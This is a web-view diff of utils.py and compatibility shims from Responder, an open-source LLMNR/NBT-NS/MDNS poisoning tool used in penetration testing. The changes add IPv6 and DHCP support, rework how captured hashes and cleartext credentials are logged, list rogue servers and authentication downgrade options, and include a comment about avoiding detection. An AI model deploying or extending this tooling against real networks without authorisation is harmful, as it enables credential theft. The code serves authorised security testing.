|
||||
@@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def IsSigningEnabled(data):
|
||||
if data[39] == "\x0f":
|
||||
if data[39:40] == b"\x0f":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
@@ -3,7 +3,10 @@ try:
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
||||
@@ -3,7 +3,10 @@ try:
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
||||
166
utils.py
166
utils.py
@@ -24,8 +24,24 @@ import settings
|
||||
import datetime
|
||||
import codecs
|
||||
import struct
|
||||
import random
|
||||
try:
|
||||
import netifaces
|
||||
except:
|
||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||
|
||||
from calendar import timegm
|
||||
|
||||
def if_nametoindex2(name):
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||
ret = libc.if_nametoindex(name)
|
||||
return ret
|
||||
else:
|
||||
return socket.if_nametoindex(settings.Config.Interface)
|
||||
|
||||
def RandomChallenge():
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
if settings.Config.NumChal == "random":
|
||||
@@ -128,6 +144,31 @@ def RespondWithIPAton():
|
||||
else:
|
||||
return settings.Config.IP_aton.decode('latin-1')
|
||||
|
||||
def RespondWithIPPton():
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton
|
||||
else:
|
||||
return settings.Config.IP_Pton6
|
||||
else:
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton.decode('latin-1')
|
||||
else:
|
||||
return settings.Config.IP_Pton6.decode('latin-1')
|
||||
|
||||
def RespondWithIP():
|
||||
if settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIP
|
||||
else:
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def RespondWithIP6():
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6
|
||||
else:
|
||||
return settings.Config.Bind_To6
|
||||
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return not IsOsX()
|
||||
@@ -136,6 +177,16 @@ def OsInterfaceIsSupported():
|
||||
def IsOsX():
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def IsIPv6IP(IP):
|
||||
if IP == None:
|
||||
return False
|
||||
regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
|
||||
ret = re.search(regex, IP)
|
||||
if ret:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
@@ -143,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
|
||||
try:
|
||||
if IsOsX():
|
||||
return OURIP
|
||||
|
||||
elif IsIPv6IP(OURIP):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
|
||||
|
||||
elif IsIPv6IP(OURIP) == False and OURIP != None:
|
||||
return OURIP
|
||||
|
||||
elif OURIP == None:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
@@ -150,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
def FindLocalIP6(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
|
||||
try:
|
||||
|
||||
if IsIPv6IP(OURIP) == False:
|
||||
|
||||
try:
|
||||
#Let's make it random so we don't get spotted easily.
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP+':80', 1))
|
||||
IP = s.getsockname()[0]
|
||||
print('IP is: %s'%IP)
|
||||
return IP
|
||||
except:
|
||||
try:
|
||||
#Try harder; Let's get the local link addr
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
IP = '::1'
|
||||
print("[+] You don't have an IPv6 address assigned.")
|
||||
return IP
|
||||
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
@@ -210,6 +308,8 @@ def CreateResponderDb():
|
||||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
@@ -217,7 +317,7 @@ def SaveToDb(result):
|
||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
result['client'] = result['client'].replace("::ffff:","")
|
||||
if len(result['user']) < 2:
|
||||
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
text("[*] Skipping one character username: %s" % result['user'])
|
||||
@@ -237,16 +337,10 @@ def SaveToDb(result):
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
@@ -293,7 +387,7 @@ def SavePoisonersToDb(result):
|
||||
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
@@ -305,16 +399,37 @@ def SavePoisonersToDb(result):
|
||||
|
||||
cursor.close()
|
||||
|
||||
def SaveDHCPToDb(result):
|
||||
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||
return False
|
||||
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||
return 'IPv6'
|
||||
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
||||
return True
|
||||
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
||||
return True
|
||||
return False
|
||||
|
||||
def IsIPv6(data):
|
||||
if "::ffff:" in data:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
@@ -355,6 +470,10 @@ def banner():
|
||||
print(banner)
|
||||
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
||||
print('')
|
||||
print(" To support this project:")
|
||||
print(" Github -> https://github.com/sponsors/lgandx")
|
||||
print(" Paypal -> https://paypal.me/PythonResponder")
|
||||
print('')
|
||||
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
||||
print(" To kill this script hit CTRL-C")
|
||||
print('')
|
||||
@@ -366,9 +485,11 @@ def StartupMessage():
|
||||
|
||||
print('')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + enabled)
|
||||
print(' %-27s' % "NBT-NS" + enabled)
|
||||
print(' %-27s' % "DNS/MDNS" + enabled)
|
||||
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||
print(' %-27s' % "DNS" + enabled)
|
||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Servers:")
|
||||
@@ -385,8 +506,11 @@ def StartupMessage():
|
||||
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
|
||||
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
||||
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
||||
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
|
||||
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
||||
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
||||
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||
@@ -402,14 +526,19 @@ def StartupMessage():
|
||||
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
|
||||
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
|
||||
if settings.Config.ExternalIP:
|
||||
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
|
||||
if settings.Config.ExternalIP6:
|
||||
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
|
||||
|
||||
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
||||
|
||||
@@ -427,3 +556,4 @@ def StartupMessage():
|
||||
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
|
||||
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
||||
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user